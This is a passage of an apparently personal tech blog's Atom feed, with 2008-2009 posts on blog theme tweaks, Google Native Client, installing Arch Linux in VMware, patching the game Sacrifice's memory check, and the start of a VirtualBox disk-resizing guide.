src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-1790953608402272689</id><published>2009-01-05T23:43:00.002+01:00</published><updated>2009-01-06T00:15:48.236+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='blog'/><category scheme='http://www.blogger.com/atom/ns#' term='friendfeed'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='styles'/><category scheme='http://www.blogger.com/atom/ns#' term='meta'/><category scheme='http://www.blogger.com/atom/ns#' term='updates'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Blog Updates!</title><content type='html'>I've made some small tweaks to this blog:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Social widget added with latest Twitter status, and link to Friendfeed account. Completely clientsided with Javascript. Using &lt;a href="http://remysharp.com/2007/05/18/add-twitter-to-your-blog-step-by-step/"&gt;twitter.js&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Was getting bored of the black theme, so I made a white one, made two css files and added a switcher - using &lt;a href="http://www.ecst.csuchico.edu/~bertucci/csci245/styleswitcher.htm"&gt;this code&lt;/a&gt;&amp;nbsp;. (You should be able to see it at the right-top of the page.)&lt;br /&gt;Your choice is saved in a cookie and also Javascript-based (no other choice with Blogger).&lt;br /&gt;The Bidvertiser ads still have a black background in the white theme, I'll look at that later (I might remove them anyway).&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-1790953608402272689?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1790953608402272689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1790953608402272689'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/blog-updates.html' title='Blog Updates!'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-1014802090304803605</id><published>2008-12-09T15:35:00.000+01:00</published><updated>2008-12-09T15:59:24.372+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='plugin'/><category scheme='http://www.blogger.com/atom/ns#' term='native client'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='browser'/><title type='text'>Trying Google's Native Client</title><content type='html'>From &lt;a href="http://blogoscoped.com/archive/2008-12-09-n82.html"&gt;Google Blogoscoped&lt;/a&gt;:&lt;br /&gt;&lt;blockquote&gt;Google has released something to the open source world they call the &lt;a href="http://code.google.com/p/nativeclient/"&gt;Native Client&lt;/a&gt;. It is meant as a way for website developers to execute rich code faster within the browser... by having it run “natively” on the computer. This could help any program needing fast graphics; a web-based photo editor might be one of the use cases of this, Google explains. Right now, as a developer you’re usually picking Flash or Java for that purpose. Google describes their efforts:&lt;/blockquote&gt;Following &lt;a href="http://nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_client/documentation/getting_started.html"&gt;the guide&lt;/a&gt; in Ubuntu worked remarkably well. The result:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/ST6HI6yiLoI/AAAAAAAALIk/a62ynirA0Jw/s1600-h/Screenshot-Quake+Demo+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/ST6HI6yiLoI/AAAAAAAALIk/a62ynirA0Jw/s400/Screenshot-Quake+Demo+-+Mozilla+Firefox.png" /&gt;&lt;/a&gt;&lt;/div&gt;Nice, Quake in a browser. Note that this won't work with any program, you'll need:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A Firefox plugin.&lt;/li&gt;&lt;li&gt;The Native Client runtime.&lt;/li&gt;&lt;li&gt;Special gcc compilation tools to compile your program to make it work with Native Client.&lt;/li&gt;&lt;/ul&gt;Still, this is a great idea, I'm curious which applications or tools (or games) this will spawn.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-1014802090304803605?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1014802090304803605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1014802090304803605'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2008/12/trying-googles-native-client.html' title='Trying Google&apos;s Native Client'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_X4W-h82Vgjw/ST6HI6yiLoI/AAAAAAAALIk/a62ynirA0Jw/s72-c/Screenshot-Quake+Demo+-+Mozilla+Firefox.png' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-5262276003467500552</id><published>2008-12-07T00:09:00.000+01:00</published><updated>2008-12-07T01:52:21.648+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arch linux'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><title type='text'>Trying Arch Linux</title><content type='html'>&lt;a href="http://draft.blogger.com/"&gt;&lt;/a&gt;I've been hearing some good things about &lt;a href="http://www.archlinux.org/"&gt;Arch Linux&lt;/a&gt; lately, and I wanted to see how it compares to Ubuntu, which I've been using for a few years now. I loaded up a new VMWare virtual machine and mounted the iso. Let's see how this goes...&lt;br /&gt;&lt;br /&gt;I'll be following directions from &lt;a href="http://wiki.archlinux.org/index.php/Beginners_Guide#Tweaks.2FFinishing_touches"&gt;this wiki page&lt;/a&gt;. So that I'm not completely lost.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Boot menu comes up. Install? Okay. no graphical installer. We're going oldskool. Log in as root and run setup.&lt;/li&gt;&lt;li&gt;Installation steps aren't too hard to follow. Partition the hard disk, let's use JFS for the first time (why not).&lt;/li&gt;&lt;li&gt;Select packages, core packages are selected automatically, I press enter a few times, installation begins.&lt;/li&gt;&lt;li&gt;Time to configure the system *yuck*, configuration files. Editing /etc/rc.conf. Make sure that eth0="dhcp". All done.&lt;/li&gt;&lt;li&gt;Reboot. Login? Works. ping google.com? Works.&lt;/li&gt;&lt;li&gt;pacman is the package manager. pacman -Syu to sync and update. klibc is complaining: file exists. I check the forums. Turns out I have to do&amp;nbsp;rm /usr/lib/klibc/include/asm. Minus one for user-friendliness.&lt;/li&gt;&lt;li&gt;Update works now. Time to add a user. useradd -m -G users,audio,lp,optical,storage,video,wheel,power&amp;nbsp;-s /bin/bash archie. passwd archie.&lt;/li&gt;&lt;li&gt;pacman -S sudo (we want sudo). EDITOR=nano visudo. Add&amp;nbsp;archie ALL=(ALL) ALL.&lt;/li&gt;&lt;li&gt;Install Alsa, works (seems like Arch isn't using pulseaudio in their tutorials/beginner's guide).&lt;/li&gt;&lt;li&gt;On to Xorg - installing lots of stuff. Xorg -configure should do the trick for the configuration. Copy example xinitrc to my home, add exec xterm. Test.&lt;/li&gt;&lt;li&gt;Mouse and keyboard aren't working. Let's try xorgconfig.&lt;/li&gt;&lt;li&gt;Even worse, xorgcfg? Nope, still nothing. Starting to miss Ubuntu.&lt;/li&gt;&lt;li&gt;Oops! I'm stupid, forgot to copy new config file to /etc/X11/xorg.conf...&lt;/li&gt;&lt;li&gt;... but still nothing. Forums again. Looks like someone else had this problem (also using VMWare). Install xf64-input-vmmouse, and execute hwd -x.&lt;/li&gt;&lt;li&gt;hwd generates wrong xorg.conf files. Remove the line with RgbPath.&lt;/li&gt;&lt;li&gt;Still nothing. Add Option "AllowEmptyInput" "false" to ServerLayout section.&lt;/li&gt;&lt;li&gt;Finally! X works, I'm learning stuff already, but still: again one minus point for friendliness (although the community seems nice, and the documentation is actually not bad for a fairly small distro).&lt;/li&gt;&lt;li&gt;Worst part is over, on to installing a desktop environment. Let's keep it simple and try Gnome.&lt;/li&gt;&lt;li&gt;First some fonts. I add ttf-liberation into the mix, glad to see it's there.&lt;/li&gt;&lt;li&gt;gnome, gnome-extra, gdm, downloading and installing. Takes a while.&lt;/li&gt;&lt;li&gt;/etc/rc.conf again: adding hal, fam and gdm to daemons, and fuse to modules.&lt;/li&gt;&lt;li&gt;Installing a bunch of gnome themes.&lt;/li&gt;&lt;li&gt;Installing vlc, firefox, flash, and some other things.&lt;/li&gt;&lt;li&gt;Login as user, edit xinit, exec gnome-session. And: startx!&lt;/li&gt;&lt;li&gt;Gnome pops up, clean background, very minimalistic. But fast indeed.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Screenshot:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_X4W-h82Vgjw/STsJWIjqvJI/AAAAAAAALIc/59jmigmYngc/s1600-h/arch.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_X4W-h82Vgjw/STsJWIjqvJI/AAAAAAAALIc/59jmigmYngc/s400/arch.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Would I use it instead of Ubuntu for everyday tasks? &lt;span class="Apple-style-span" style="font-style: italic;"&gt;Not at the moment.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Would I recommend it to novice&amp;nbsp;friends and family? &lt;span class="Apple-style-span" style="font-style: italic;"&gt;No.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Would I use it as a server? &lt;span class="Apple-style-span" style="font-style: italic;"&gt;Perhaps.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Is it fast? &lt;span class="Apple-style-span" style="font-style: italic;"&gt;Yes.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Would I use it on an outdated machine? &lt;span class="Apple-style-span" style="font-style: italic;"&gt;Yes.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Does is show potential? &lt;span class="Apple-style-span" style="font-style: italic;"&gt;Yes.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-5262276003467500552?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/5262276003467500552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/5262276003467500552'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2008/12/trying-arch-linux.html' title='Trying Arch Linux'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_X4W-h82Vgjw/STsJWIjqvJI/AAAAAAAALIc/59jmigmYngc/s72-c/arch.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-3117032268381235064</id><published>2008-10-26T23:35:00.002+01:00</published><updated>2009-02-06T02:28:21.344+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='old'/><category scheme='http://www.blogger.com/atom/ns#' term='games'/><category scheme='http://www.blogger.com/atom/ns#' term='lpatch'/><category scheme='http://www.blogger.com/atom/ns#' term='qfixapp'/><category scheme='http://www.blogger.com/atom/ns#' term='sacrifice'/><category scheme='http://www.blogger.com/atom/ns#' term='ram'/><category scheme='http://www.blogger.com/atom/ns#' term='game'/><category scheme='http://www.blogger.com/atom/ns#' term='virtual memory'/><title type='text'>Sacrifice Revisited</title><content type='html'>&lt;a href="http://blog.macuyiko.com/2006/07/sacrifice-ram-problem-or-fixing-old.html"&gt;A while ago I posted&lt;/a&gt; on this blog how you could resolve the "Insufficient page file space" problem in Sacrifice. Since then a few people have emailed me, saying that the fix described in that post does not longer work. After trying various things with various people (thanks for all the help and input by the way), a solution was found.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Problem&lt;/b&gt;&lt;br /&gt;The problem is that XP does not longer present GlobalMemoryStatusTrim when running QFixApp.&lt;br /&gt;&lt;br /&gt;First the good news. If you have Vista, the game works out of the box. Not because Vista has better memory management or something like that, but because Vista comes with lots of Compatibility Profiles built-in. I've looked into these profiles to see which ones were used with Sacrifice, being:&lt;br /&gt;&lt;br /&gt;1) GlobalMemoryStatusLie&lt;br /&gt;2) GlobalMemoryStatus2GB (this replaces GlobalMemoryStatusTrim and is also available in QFixApp when running XP)&lt;br /&gt;&lt;br /&gt;So the solution seems simple, enable GlobalMemoryStatusLie and GlobalMemoryStatus2GB, and try again. However, when trying this under XP SP3, almost everyone gets the following (new) error: "error while trying to initiate the application (0x000005)".&lt;br /&gt;&lt;br /&gt;If you get this error, you now have the following options:&lt;br /&gt;1) Upgrade to Vista (yuck);&lt;br /&gt;2) You could disable virtual memory and/or use the /BURNMEMORY=N boot.ini-switch (adventurous and bad/ugly);&lt;br /&gt;3) Use the solution below (clean and works).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Solution&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;It turns out there is a patch available &lt;a href="http://aluigi.altervista.org/patches.htm"&gt;over here&lt;/a&gt; which removes the memory-check from the game. This patch was created a while ago by Luigi Auriemma, but is still quite difficult to find. Follow the following steps to get your game working:&lt;br /&gt;&lt;br /&gt;1) Download and extract Lame Patcher &lt;a href="http://aluigi.altervista.org/mytoolz.htm#lpatch"&gt;from here&lt;/a&gt;.&lt;br /&gt;2) Download and save the Sacrifice .lpatch file &lt;a href="http://aluigi.org/patches.htm"&gt;from here&lt;/a&gt; (search for: "sacrifice" or &lt;a href="http://aluigi.org/patches/sacrifice_pagefile.lpatch"&gt;direct link&lt;/a&gt; &lt;span style="font-weight: bold;"&gt;&lt;span style="text-decoration: line-through;"&gt;no hotlinking :(&lt;/span&gt;&lt;span style="font-weight: normal;"&gt;&amp;nbsp;direct link is back thanks to a friendly e-mail from Luigi, the author - thanks!&lt;/span&gt;&lt;/span&gt;).&lt;br /&gt;3) Open&lt;span style="border-collapse: collapse;"&gt; lpatch.exe.&lt;/span&gt;&lt;br /&gt;4) The program will display a message asking you if you want to select a .dat or .lpatch file, choose "Yes".&lt;br /&gt;5) Pick the sacrifice_pagefile.lpatch you have saved in step 2.&lt;br /&gt;6) The program will display some information, press "OK".&lt;br /&gt;7) Another file chooser dialog opens, locate your Sacrifice.exe and select it.&lt;br /&gt;&lt;br /&gt;All done! You should be able to enjoy the game now.&lt;br /&gt;&lt;br /&gt;One last thing. If you're too lazy to follow the steps above, or you don't have Sacrifice but would like to play this (and other old) games, then check out &lt;a href="http://www.gog.com/en/frontpage/"&gt;Good Old Games&lt;/a&gt;. They've just went into public beta and are offering MDK2, Giants: Citizen Kabuto and Sacrifice (for $5.99). &lt;span class="Apple-style-span" style="text-decoration: line-through;"&gt;They also offer support, so your game'll probably work without complaining out of the box&lt;/span&gt;&amp;nbsp;it seems they provide the Virtual Memory tip as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-3117032268381235064?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3117032268381235064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/3117032268381235064'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2008/10/sacrifice-revisited.html' title='Sacrifice Revisited'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-8250841709573720376</id><published>2008-09-07T18:29:00.003+02:00</published><updated>2009-02-05T03:04:11.569+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='expanding'/><category scheme='http://www.blogger.com/atom/ns#' term='partition'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualbox'/><category scheme='http://www.blogger.com/atom/ns#' term='driver'/><title type='text'>Virtualbox: Expanding A Disk Drive</title><content type='html'>I love Virtualbox, it's definitely my virtualization platform of choice for daily tasks* on a Linux-host, and it's quickly replacing VMware on Windows hosts as well.&lt;br /&gt;&lt;br /&gt;However, recently I had to expand a virtual partition of a Windows guest. There are already lots of options and methods available to do this:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://ubuntuforums.org/showthread.php?t=634880"&gt;http://ubuntuforums.org/showthread.php?t=634880&lt;/a&gt;: uses gparted and ntfsresize.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.virtualbox.org/viewtopic.php?t=1966"&gt;http://forums.virtualbox.org/viewtopic.php?t=1966&lt;/a&gt;: described lots of options to modify VDI files.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.virtualbox.org/viewtopic.php?t=364"&gt;http://forums.virtualbox.org/viewtopic.php?t=364&lt;/a&gt;: gives some methods.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://forums.virtualbox.org/viewtopic.php?t=1404"&gt;http://forums.virtualbox.org/viewtopic.php?t=1404&lt;/a&gt;: importing a native install into a VDI.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;None of these actually offered a really good or quick solution, until I found this &lt;a href="http://crookedspoke.wordpress.com/2008/03/15/resize-disk-image/"&gt;blog post&lt;/a&gt;. Tom's statement of hostility to copyright allows me to provide a summary... However, I've added some extra steps and tips for both Windows and Linux guests.&lt;br /&gt;&lt;br /&gt;You’ll need:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://gparted.sourceforge.net/livecd.php"&gt;A Gparted LiveCD&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Two virtual 
